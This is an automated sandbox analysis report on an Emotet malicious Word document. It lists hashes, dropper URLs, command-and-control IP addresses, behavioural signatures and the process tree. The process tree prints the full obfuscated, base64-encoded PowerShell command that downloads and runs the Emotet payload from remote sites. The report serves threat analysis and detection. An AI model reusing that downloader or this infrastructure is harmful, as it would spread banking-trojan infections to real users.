emotet | 7c03428c5f7285100b96f26f50155bed0dfa99d3e2ea104aadb342b5b44b0076

Analysis

max time kernel
135s
max time network
136s
platform
windows10_x64
resource
win10
submitted
25/09/2020, 15:00

Sharing

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General

Target
emotet_e1_7c03428c5f7285100b96f26f50155bed0dfa99d3e2ea104aadb342b5b44b0076_2020-09-25__145600437944._doc.doc
Size 163KB
Sample200925-34tklf43y2
SHA256 7c03428c5f7285100b96f26f50155bed0dfa99d3e2ea104aadb342b5b44b0076
MD5 bd4f79dd1d26c2b06a12e8bf2e8400c4
SHA1 6853a43b0ad938b813676f46d0bd2041cd42c877
SHA512 9f6442133d0d12fa188bd767c540c785de8a882899a06e6269b8b236564f0cad7ee79d92b74a1a685dcd5850f4f010df2535d3158e5a3bf7d8663b5063656432
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://wynn838.com/wp-content/Eo/
exe.dropper
http://ottimade.com/wp-content/E/
exe.dropper
https://konican.com/cgi-bin/gz/
exe.dropper
http://glassesnepal.com/gxlaf/tQ6/
exe.dropper
http://kharazmischl.com/w/k/
exe.dropper
https://lojaskock.com.br/BACKUP/AW/
exe.dropper
http://secrice.com/writing/2003/0nI/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2676	1428	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1860-14-0x00000000021A0000-0x00000000021B2000-memory.dmp	emotet
behavioral2/memory/1860-14-0x00000000021A0000-0x00000000021B2000-memory.dmp	emotet
behavioral2/memory/1860-15-0x0000000000490000-0x00000000004A0000-memory.dmp	emotet
behavioral2/memory/1860-15-0x0000000000490000-0x00000000004A0000-memory.dmp	emotet
behavioral2/memory/3836-18-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet
behavioral2/memory/3836-18-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet
behavioral2/memory/3836-19-0x0000000002000000-0x0000000002010000-memory.dmp	emotet
behavioral2/memory/3836-19-0x0000000002000000-0x0000000002010000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
16	2676	POwersheLL.exe
17	2676	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1860	Ik_uji4hy.exe
3836	tzutil.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.Data.Pdf\tzutil.exe	Ik_uji4hy.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4016	WINWORD.EXE
4016	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2676	POwersheLL.exe
2676	POwersheLL.exe
2676	POwersheLL.exe
3836	tzutil.exe
3836	tzutil.exe
3836	tzutil.exe
3836	tzutil.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
1860	Ik_uji4hy.exe
3836	tzutil.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 1860	2676	POwersheLL.exe	81
PID 2676 wrote to memory of 1860	2676	POwersheLL.exe	81
PID 2676 wrote to memory of 1860	2676	POwersheLL.exe	81
PID 1860 wrote to memory of 3836	1860	Ik_uji4hy.exe	82
PID 1860 wrote to memory of 3836	1860	Ik_uji4hy.exe	82
PID 1860 wrote to memory of 3836	1860	Ik_uji4hy.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7c03428c5f7285100b96f26f50155bed0dfa99d3e2ea104aadb342b5b44b0076_2020-09-25__145600437944._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4016

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABBADEANwBfAHQANgBkAD0AKAAnAFMAJwArACcAZAB1ACcAKwAoACcAaQAnACsAJwBpAGUAdQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAFIAbwBGAEkAbABFAFwAVAByAEMAUAB6ADAAeABcAEIATwBkADQAWQByADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGAAYwB1AFIAaQBUAHkAcAByAE8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIAJwApACsAJwAsACAAJwArACcAdABsACcAKwAoACcAcwAxADEAJwArACcALAAnACkAKwAoACcAIAAnACsAJwB0AGwAJwApACsAJwBzACcAKQA7ACQAQwB4ADMAcwBsAGoAeQAgAD0AIAAoACcASQAnACsAJwBrAF8AJwArACgAJwB1AGoAaQAnACsAJwA0AGgAeQAnACkAKQA7ACQARwA5AHkAeQBvAHgAMgA9ACgAJwBNACcAKwAoACcAdgBvACcAKwAnAHkAJwApACsAKAAnAGwAJwArACcAOABvACcAKQApADsAJABFAGsAZwBrAGwAMwByAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAVQAnACsAJwBxAGUAVAAnACkAKwAnAHIAJwArACgAJwBjAHAAegAnACsAJwAwAHgAVQAnACsAJwBxAGUAQgBvACcAKQArACcAZAAnACsAJwA0ACcAKwAoACcAeQAnACsAJwByADgAVQBxAGUAJwApACkALgAiAFIARQBQAGAATABhAEMAZQAiACgAKAAnAFUAcQAnACsAJwBlACcAKQAsAFsAUwB0AFIASQBuAEcAXQBbAGMAaABhAHIAXQA5ADIAKQApACsAJABDAHgAMwBzAGwAagB5ACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUwB2AHAAbwA3ADkANQA9ACgAJwBNAG4AJwArACgAJwBzAG4AJwArACcAMgA0ADkAJwApACkAOwAkAEgAegBoAGIAawB6AGYAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAQwBsAEkARQBuAFQAOwAkAFAAZgBmAHgANwBfAHgAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB5AG4AbgA4ADMAJwApACsAKAAnADgALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAALQAnACkAKwAnAGMAJwArACcAbwBuACcAKwAoACcAdAAnACsAJwBlAG4AdAAvACcAKQArACcARQBvACcAKwAoACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACgAJwBvACcAKwAnAHQAdABpACcAKQArACgAJwBtACcAKwAnAGEAZAAnACkAKwAoACcAZQAuACcAKwAnAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwAC0AYwBvAG4AJwApACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQALwBFACcAKwAnAC8AKgBoAHQAdABwAHMAOgAvAC8AawBvAG4AJwArACcAaQAnACsAJwBjAGEAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGMAZwBpACcAKQArACgAJwAtAGIAaQAnACsAJwBuAC8AZwB6AC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwBnACcAKwAnAGwAJwArACcAYQBzACcAKwAnAHMAZQBzAG4AZQBwAGEAbAAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGcAeAAnACsAJwBsAGEAZgAvAHQAUQAnACsAJwA2AC8AKgAnACkAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAawBoAGEAcgAnACsAJwBhAHoAbQBpACcAKQArACcAcwAnACsAJwBjACcAKwAnAGgAJwArACcAbAAnACsAKAAnAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAdwAvACcAKwAnAGsALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACcAcABzACcAKwAoACcAOgAvAC8AbAAnACsAJwBvAGoAYQAnACkAKwAoACcAcwBrAG8AJwArACcAYwAnACkAKwAoACcAawAuAGMAbwBtACcAKwAnAC4AYgAnACsAJwByAC8AQgBBACcAKQArACgAJwBDAEsAVQAnACsAJwBQAC8AJwApACsAKAAnAEEAVwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcwBlAGMAJwApACsAKAAnAHIAaQBjAGUAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvACcAKwAnAG0ALwB3AHIAaQB0AGkAbgAnACkAKwAoACcAZwAvADIAJwArACcAMAAwADMALwAnACsAJwAwAG4AJwArACcASQAvACcAKQApAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAcAB3AGYAZwBiADEAPQAoACgAJwBNAHEAeQAnACsAJwAwACcAKQArACcAdAB4ACcAKwAnAF8AJwApADsAZgBvAHIAZQBhAGMAaAAoACQARQBfAGUAMgBhAGwAeAAgAGkAbgAgACQAUABmAGYAeAA3AF8AeAApAHsAdAByAHkAewAkAEgAegBoAGIAawB6AGYALgAiAGQAYABPAHcATgBsAE8AYQBgAGQARgBJAGwAZQAiACgAJABFAF8AZQAyAGEAbAB4ACwAIAAkAEUAawBnAGsAbAAzAHIAKQA7ACQARQBhAHMAaAA0AGoAaQA9ACgAJwBDAHMAJwArACcAZwAnACsAKAAnAGIAZQAnACsAJwBvAGIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARQBrAGcAawBsADMAcgApAC4AIgBMAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMAMwAwADkAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvACcAKwAnAGsAZQAtAEkAdABlAG0AJwApACgAJABFAGsAZwBrAGwAMwByACkAOwAkAFMAbQA3AGsAaQBjAHoAPQAoACgAJwBNADkAJwArACcAcABrADcAJwApACsAJwB4ADYAJwApADsAYgByAGUAYQBrADsAJABMAGgAMQBsADEANwBkAD0AKAAnAEkAYwAnACsAKAAnAHkANwAnACsAJwB6ADQAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBsADUAbABlADMAOQA9ACgAKAAnAFYAbQBrAG0AJwArACcANAAnACkAKwAnAGEAJwArACcAaQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Users\Admin\Trcpz0x\Bod4yr8\Ik_uji4hy.exe
  "C:\Users\Admin\Trcpz0x\Bod4yr8\Ik_uji4hy.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\SysWOW64\Windows.Data.Pdf\tzutil.exe
    "C:\Windows\SysWOW64\Windows.Data.Pdf\tzutil.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1860-15-0x0000000000490000-0x00000000004A0000-memory.dmp

Download

memory/1860-14-0x00000000021A0000-0x00000000021B2000-memory.dmp

Download

memory/2676-10-0x000001D876B60000-0x000001D876B61000-memory.dmp

Download

memory/2676-8-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

Download

memory/2676-9-0x000001D876960000-0x000001D876961000-memory.dmp

Download

memory/3836-19-0x0000000002000000-0x0000000002010000-memory.dmp

Download

memory/3836-18-0x00000000004A0000-0x00000000004B2000-memory.dmp

Download

memory/4016-0-0x0000017520F00000-0x00000175215C6000-memory.dmp

Download

memory/4016-4-0x000001752BC44000-0x000001752BC47000-memory.dmp

Download

memory/4016-3-0x000001752BC41000-0x000001752BC44000-memory.dmp

Download

memory/4016-2-0x000001752BC44000-0x000001752BC47000-memory.dmp

Download

memory/4016-5-0x0000017529781000-0x000001752978F000-memory.dmp

Download

memory/4016-1-0x000001752BC44000-0x000001752BC47000-memory.dmp

Download

memory/4016-6-0x000001752BDD6000-0x000001752BDDB000-memory.dmp

Download

memory/4016-7-0x000001752BDC5000-0x000001752BDD6000-memory.dmp

Download